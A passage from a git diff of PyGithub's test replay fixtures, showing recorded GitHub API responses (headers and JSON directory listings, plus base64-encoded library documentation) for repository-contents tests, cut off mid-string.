com/repos/jayfk/PyGithub/contents/doc?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/doc","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","html":"https://github.com/jayfk/PyGithub/tree/master/doc"}},{"name":"github","path":"github","sha":"357dd749e9f089b6fc1a7437326d75dc2700eb3e","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/github","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","html":"https://github.com/jayfk/PyGithub/tree/master/github"}},{"name":"manage.sh","path":"manage.sh","sha":"8ce7c88318a3cc25f368d7a43e69a41b8460e68f","size":2582,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/manage.sh","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/manage.sh","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","html":"https://github.com/jayfk/PyGithub/blob/master/manage.sh"}},{"name":"python25-requirements.txt","path":"python25-requirements.txt","sha":"322630ee75f32576be6c69b4de9deb73cddc430c","size":11,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/python25-requirements.txt","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","html":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt"}},{"name":"scripts","path":"scripts","sha":"95e3c1f29331e6de4c3833022fb1a78ef039bb6f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/scripts","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","html":"https://github.com/jayfk/PyGithub/tree/master/scripts"}},{"name":"setup.py","path":"setup.py","sha":"75a4afa35995089741a2089c5356e2b1af3d85cd","size":4094,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/setup.py","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/setup.py","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","html":"https://github.com/jayfk/PyGithub/blob/master/setup.py"}}] - diff --git a/tests/ReplayData/Repository.testGetContentsDirWithSlash.txt b/tests/ReplayData/Repository.testGetContentsDirWithSlash.txt index d962deb95e..40323aaa7d 100644 --- a/tests/ReplayData/Repository.testGetContentsDirWithSlash.txt +++ b/tests/ReplayData/Repository.testGetContentsDirWithSlash.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '9998'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '01d096e6cfe28f8aea352e988c332cd3'), ('x-oauth-client-id', 'd408456562a3db38febf'), ('x-oauth-scopes', 'repo, write:repo_hook'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"c75510b6d23cfb87768b59121bb1763a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '5DE87F72:75F9:9EF346:57DA8E59'), ('last-modified', 'Thu, 15 Sep 2016 12:04:32 GMT'), ('date', 'Thu, 15 Sep 2016 12:04:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1473942365')] [{"name":".gitignore","path":".gitignore","sha":"43d495ed8185348ef800ccd768bf9eb47eea433b","size":2036,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.gitignore","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.gitignore","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","html":"https://github.com/jayfk/PyGithub/blob/master/.gitignore"}},{"name":".travis.yml","path":".travis.yml","sha":"5b7b29ac787f3a535eff409592ef40ccd04595d8","size":494,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.travis.yml","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","html":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml"}},{"name":"CONTRIBUTING.md","path":"CONTRIBUTING.md","sha":"138fa737b13a13582bf53acea7ee534aa197328a","size":2424,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/CONTRIBUTING.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","html":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md"}},{"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING"}},{"name":"COPYING.LESSER","path":"COPYING.LESSER","sha":"65c5ca88a67c30becee01c5a8816d964b03862f9","size":7651,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING.LESSER","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER"}},{"name":"MAINTAINERS","path":"MAINTAINERS","sha":"f8cbd3bbeba08404099c4bc57135b7d21b9e5616","size":216,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MAINTAINERS","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","html":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS"}},{"name":"MANIFEST.in","path":"MANIFEST.in","sha":"501859533a9b38d0705e5c8cab4380610d574dd7","size":35,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MANIFEST.in","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","html":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in"}},{"name":"README.md","path":"README.md","sha":"ae065a7ba88a6614cb0a8cdbe5bd58a317654548","size":1570,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/README.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/README.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","html":"https://github.com/jayfk/PyGithub/blob/master/README.md"}},{"name":"doc","path":"doc","sha":"42cda5799d4f5668c7d59e17c1593debe6410f7f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/doc","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","html":"https://github.com/jayfk/PyGithub/tree/master/doc"}},{"name":"github","path":"github","sha":"357dd749e9f089b6fc1a7437326d75dc2700eb3e","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/github","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","html":"https://github.com/jayfk/PyGithub/tree/master/github"}},{"name":"manage.sh","path":"manage.sh","sha":"8ce7c88318a3cc25f368d7a43e69a41b8460e68f","size":2582,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/manage.sh","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/manage.sh","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","html":"https://github.com/jayfk/PyGithub/blob/master/manage.sh"}},{"name":"python25-requirements.txt","path":"python25-requirements.txt","sha":"322630ee75f32576be6c69b4de9deb73cddc430c","size":11,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/python25-requirements.txt","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","html":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt"}},{"name":"scripts","path":"scripts","sha":"95e3c1f29331e6de4c3833022fb1a78ef039bb6f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/scripts","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","html":"https://github.com/jayfk/PyGithub/tree/master/scripts"}},{"name":"setup.py","path":"setup.py","sha":"75a4afa35995089741a2089c5356e2b1af3d85cd","size":4094,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/setup.py","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/setup.py","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","html":"https://github.com/jayfk/PyGithub/blob/master/setup.py"}}] - diff --git a/tests/ReplayData/Repository.testGetContentsWithRef.txt b/tests/ReplayData/Repository.testGetContentsWithRef.txt index f5d5115b99..0d922f3aa6 100644 --- a/tests/ReplayData/Repository.testGetContentsWithRef.txt +++ b/tests/ReplayData/Repository.testGetContentsWithRef.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '45572'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4940'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 21:22:43 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7c2a77b0e46dda4d6e11562d52ec5ae0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 10:46:22 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","path":"doc/ReferenceOfClasses.md","html_url":"https://github.com/jacquev6/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/doc/ReferenceOfClasses.md","url":"https://api.github.com/repos/jacquev6/PyGithub/contents/doc/ReferenceOfClasses.md?ref=refs/heads/topic/ExperimentOnDocumentation","content":"WW91IGRvbid0IG5vcm1hbHkgY3JlYXRlIGluc3RhbmNlcyBvZiBhbnkgY2xh\nc3MgYnV0IGBHaXRodWJgLgpZb3Ugb2J0YWluIGluc3RhbmNlcyB0aHJvdWdo\nIGNhbGxzIHRvIGBzZWFyY2hfYCwgYGdldF9gIGFuZCBgY3JlYXRlX2AgbWV0\naG9kcy4KCkNsYXNzIGBHaXRodWJgCj09PT09PT09PT09PT09CgpDb25zdHJ1\nY3RlZCBmcm9tIHVzZXIncyBsb2dpbiBhbmQgcGFzc3dvcmQgb3IgT0F1dGgg\ndG9rZW4gb3Igbm90aGluZzoKCiAgICBnID0gR2l0aHViKCBsb2dpbiwgcGFz\nc3dvcmQgKQogICAgZyA9IEdpdGh1YiggdG9rZW4gKQogICAgZyA9IEdpdGh1\nYigpCgpZb3UgY2FuIGFsc28gdXNlIHlvdXIgY2xpZW50X2lkIGFuZCBjbGll\nbnRfc2VjcmV0OgogICAgZyA9IGdpdGh1Yi5HaXRodWIoY2xpZW50X2lkPSJZ\nb3VyQ2xpZW50SWQiLCBjbGllbnRfc2VjcmV0PSJZb3VyQ2xpZW50U2VjcmV0\nIikKCllvdSBjYW4gYWRkIGFuIGFyZ3VtZW50IGBiYXNlX3VybCA9ICJodHRw\nOi8vbXkuZW50ZXJwcmlzZS5jb206ODA4MC9wYXRoL3RvL2dpdGh1YiJgIHRv\nIGNvbm5lY3QgdG8gYSBsb2NhbCBpbnN0YWxsIG9mIEdpdGh1YiAoaWUuIEdp\ndGh1YiBFbnRlcnByaXNlKS4KWW91IGNhbiBhZGQgYW4gYXJndW1lbnQgYHVz\nZXJfYWdlbnRgIHRvIHNlbmQgYSBjdXN0b20gVXNlci1BZ2VudCBoZWFkZXIg\ndG8gR2l0aHViLgpBbm90aGVyIGFyZ3VtZW50LCB0aGF0IGNhbiBiZSBwYXNz\nZWQgaXMgYHRpbWVvdXRgIHdoaWNoIGhhcyBkZWZhdWx0IHZhbHVlIGAxMGAu\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgcmF0ZV9saW1pdGluZ2A6IHR1\ncGxlIG9mIHR3byBpbnRlZ2VyczogcmVtYWluaW5nIGFuZCBsaW1pdCwgYXMg\nZXhwbGFpbmVkIGluIFtSYXRlIExpbWl0aW5nXShodHRwOi8vZGV2ZWxvcGVy\nLmdpdGh1Yi5jb20vdjMvI3JhdGUtbGltaXRpbmcpCgpNZXRob2RzCi0tLS0t\nLS0KKiBgZ2V0X3VzZXIoKWA6IGBBdXRoZW50aWNhdGVkVXNlcmAKKiBgZ2V0\nX3VzZXIoIGxvZ2luIClgOiBgTmFtZWRVc2VyYAogICAgKiBgbG9naW5gOiBz\ndHJpbmcKKiBgZ2V0X29yZ2FuaXphdGlvbiggbG9naW4gKWA6IGBPcmdhbml6\nYXRpb25gCiAgICAqIGBsb2dpbmA6IHN0cmluZwoqIGBnZXRfcmVwbyggZnVs\nbF9uYW1lIClgOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X2dpc3QoIGlkIClgOiBg\nR2lzdGAKICAgICogYGlkYDogc3RyaW5nCiogYGdldF9naXN0cygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBHaXN0YAoqIGBnZXRfaG9va3MoKWA6IGBQYWdp\nbmF0ZWRMaXN0YCBvZiBgSG9va0Rlc2NyaXB0aW9uYAoqIGBsZWdhY3lfc2Vh\ncmNoX3JlcG9zKCBrZXl3b3JkLCBbbGFuZ3VhZ2VdIClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGBrZXl3b3JkYDogc3RyaW5n\nCiAgICAqIGBsYW5ndWFnZWA6IHN0cmluZwoqIGBsZWdhY3lfc2VhcmNoX3Vz\nZXJzKCBrZXl3b3JkIClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNl\ncmAKICAgICogYGtleXdvcmRgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91\nc2VyX2J5X2VtYWlsKCBlbWFpbCApYDogYE5hbWVkVXNlcmAKICAgICogYGVt\nYWlsYDogc3RyaW5nCiogYHJlbmRlcl9tYXJrZG93biggdGV4dCwgW2NvbnRl\neHRdIClgOiBzdHJpbmcKICAgICogYHRleHRgOiBzdHJpbmcKICAgICogYGNv\nbnRleHRgOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X2dpdGlnbm9yZV90ZW1wbGF0\nZXMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiogYGdldF9naXRpZ25vcmVfdGVtcGxh\ndGUoIG5hbWUgKWA6IGBHaXRpZ25vcmVUZW1wbGF0ZWAKCkNsYXNzIGBQYWdp\nbmF0ZWRMaXN0YAo9PT09PT09PT09PT09PT09PT09PT0KClRoaXMgY2xhc3Mg\naW1wbGVtZW50cyBsYXp5IFtwYWdpbmF0aW9uIHJlcXVlc3RzXShodHRwOi8v\nZGV2ZWxvcGVyLmdpdGh1Yi5jb20vdjMvI3BhZ2luYXRpb24pIGFuZCBoaWRl\ncyBwYWdpbmF0aW9uIGZyb20geW91LiBJdCBpcyB0aGUgcmV0dXJuIHR5cGUg\nb2YgYGdldF9gIG1ldGhvZHMgdGhhdCByZXR1cm4gYSBjb2xsZWN0aW9uLgoK\nWW91IGNhbiBpdGVyYXRlIG9uIGl0IGluIGEgYGZvciBmIGluIHVzZXIuZ2V0\nX2ZvbGxvd2VycygpOmAgbG9vcCBvciB3aXRoIGFueSBbaXRlcnRvb2xzXSho\ndHRwOi8vZG9jcy5weXRob24ub3JnL2xpYnJhcnkvaXRlcnRvb2xzLmh0bWwp\nIGZ1bmN0aW9ucy4KCllvdSBjYW5ub3Qga25vdyB0aGUgbnVtYmVyIG9mIG9i\namVjdHMgcmV0dXJuZWQgYmVmb3JlIHRoZSBlbmQgb2YgdGhlIGl0ZXJhdGlv\nbi4gSWYgdGhhdCdzICpyZWFsbHkqIHdoYXQgeW91IG5lZWQsIHlvdSBjYW50\nIHVzZSBgbGVuKCBsaXN0KCB1c2VyLmdldF9mb2xsb3dlcnMoKSApIClgLAp3\naGljaCBkb2VzIGFsbCB0aGUgcmVxdWVzdHMgbmVlZGVkIHRvIGVudW1lcmF0\nZSB0aGUgdXNlcidzIGZvbGxvd2Vycy4gTm90ZSB0aGF0IHRoZXJlIGlzIG9m\ndGVuIGFuIGF0dHJpYnV0ZSBnaXZpbmcgdGhpcyB2YWx1ZSAoaW4gdGhhdCBj\nYXNlIGB1c2VyLmZvbGxvd2Vyc2ApLgoKWW91IGNhbiBhbHNvIGNhbGwgYGdl\ndF9wYWdlKCBwYWdlIClgIHRvIGV4cGxpY2l0ZWx5IGdldCBhIHNwZWNpZmlj\nIHBhZ2UgaWYgeW91IGRvbid0IHdhbnQgdG8gaGlkZSBwYWdpbmF0aW9uLiBg\ncGFnZWAgc3RhcnRzIGF0IDAuCiogYGdldF9wYWdlKCBwYWdlIClgOiBsaXN0\nCiAgICAqIGBwYWdlYDogaW50ZWdlcgoKQ2xhc3MgYEdpdGh1YkV4Y2VwdGlv\nbmAKPT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0t\nLS0tLQoqIGBzdGF0dXNgOiBpbnRlZ2VyCiogYGRhdGFgOiBkaWN0CgpDbGFz\ncyBgQXV0aGVudGljYXRlZFVzZXJgCj09PT09PT09PT09PT09PT09PT09PT09\nPT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhdmF0YXJfdXJsYDogc3Ry\naW5nCiogYGJpb2A6IHN0cmluZwoqIGBibG9nYDogc3RyaW5nCiogYGNvbGxh\nYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNvbXBhbnlgOiBzdHJpbmcKKiBgY3Jl\nYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRpc2tfdXNhZ2VgOiBp\nbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5nCiogYGZvbGxvd2Vyc2A6IGludGVn\nZXIKKiBgZm9sbG93aW5nYDogaW50ZWdlcgoqIGBncmF2YXRhcl9pZGA6IHN0\ncmluZwoqIGBoaXJlYWJsZWA6IGJvb2wKKiBgaHRtbF91cmxgOiBzdHJpbmcK\nKiBgaWRgOiBpbnRlZ2VyCiogYGxvY2F0aW9uYDogc3RyaW5nCiogYGxvZ2lu\nYDogc3RyaW5nCiogYG5hbWVgOiBzdHJpbmcKKiBgb3duZWRfcHJpdmF0ZV9y\nZXBvc2A6IGludGVnZXIKKiBgcGxhbmA6IGBQbGFuYAoqIGBwcml2YXRlX2dp\nc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1\nYmxpY19yZXBvc2A6IGludGVnZXIKKiBgdG90YWxfcHJpdmF0ZV9yZXBvc2A6\nIGludGVnZXIKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkF1\ndGhvcml6YXRpb25zCi0tLS0tLS0tLS0tLS0tCiogYGNyZWF0ZV9hdXRob3Jp\nemF0aW9uKCBbc2NvcGVzLCBub3RlLCBub3RlX3VybF0gKWA6IGBBdXRob3Jp\nemF0aW9uYAogICAgKiBgc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICog\nYG5vdGVgOiBzdHJpbmcKICAgICogYG5vdGVfdXJsYDogc3RyaW5nCiogYGdl\ndF9hdXRob3JpemF0aW9uKCBpZCApYDogYEF1dGhvcml6YXRpb25gCiAgICAq\nIGBpZGA6IGludGVnZXIKKiBgZ2V0X2F1dGhvcml6YXRpb25zKClgOiBgUGFn\naW5hdGVkTGlzdGAgb2YgYEF1dGhvcml6YXRpb25gCgpFbWFpbHMKLS0tLS0t\nCiogYGFkZF90b19lbWFpbHMoIGVtYWlsLCAuLi4gKWAKICAgICogYGVtYWls\nYDogc3RyaW5nCiogYGdldF9lbWFpbHMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiog\nYHJlbW92ZV9mcm9tX2VtYWlscyggZW1haWwsIC4uLiApYAogICAgKiBgZW1h\naWxgOiBzdHJpbmcKCkV2ZW50cwotLS0tLS0KKiBgZ2V0X2V2ZW50cygpYDog\nYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAKKiBgZ2V0X29yZ2FuaXphdGlv\nbl9ldmVudHMoIG9yZyApYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAK\nICAgICogYG9yZ2A6IGBPcmdhbml6YXRpb25gCgpGb2xsb3dlcnMKLS0tLS0t\nLS0tCiogYGdldF9mb2xsb3dlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBhZGRfdG9fZm9s\nbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2luZ2A6IGBOYW1l\nZFVzZXJgCiogYGdldF9mb2xsb3dpbmcoKWA6IGBQYWdpbmF0ZWRMaXN0YCBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fZm9sbG93aW5nKCBmb2xsb3dpbmcg\nKWA6IGJvb2wKICAgICogYGZvbGxvd2luZ2A6IGBOYW1lZFVzZXJgCiogYHJl\nbW92ZV9mcm9tX2ZvbGxvd2luZyggZm9sbG93aW5nIClgCiAgICAqIGBmb2xs\nb3dpbmdgOiBgTmFtZWRVc2VyYAoKRm9ya2luZwotLS0tLS0tCiogYGNyZWF0\nZV9mb3JrKCByZXBvIClgOiBgUmVwb3NpdG9yeWAKICAgICogYHJlcG9gOiBg\nUmVwb3NpdG9yeWAKCkdpc3RzCi0tLS0tCiogYGNyZWF0ZV9naXN0KCBwdWJs\naWMsIGZpbGVzLCBbZGVzY3JpcHRpb25dIClgOiBgR2lzdGAKICAgICogYHB1\nYmxpY2A6IGJvb2wKICAgICogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcgdG8g\nYElucHV0RmlsZUNvbnRlbnRgCiAgICAqIGBkZXNjcmlwdGlvbmA6IHN0cmlu\nZwoqIGBnZXRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgR2lzdGAK\nKiBgZ2V0X3N0YXJyZWRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nR2lzdGAKCklzc3VlcwotLS0tLS0KKiBgZ2V0X2lzc3VlcygpYDogYFBhZ2lu\nYXRlZExpc3RgIG9mIGBJc3N1ZWAKCktleXMKLS0tLQoqIGBjcmVhdGVfa2V5\nKCB0aXRsZSwga2V5IClgOiBgVXNlcktleWAKICAgICogYHRpdGxlYDogc3Ry\naW5nCiAgICAqIGBrZXlgOiB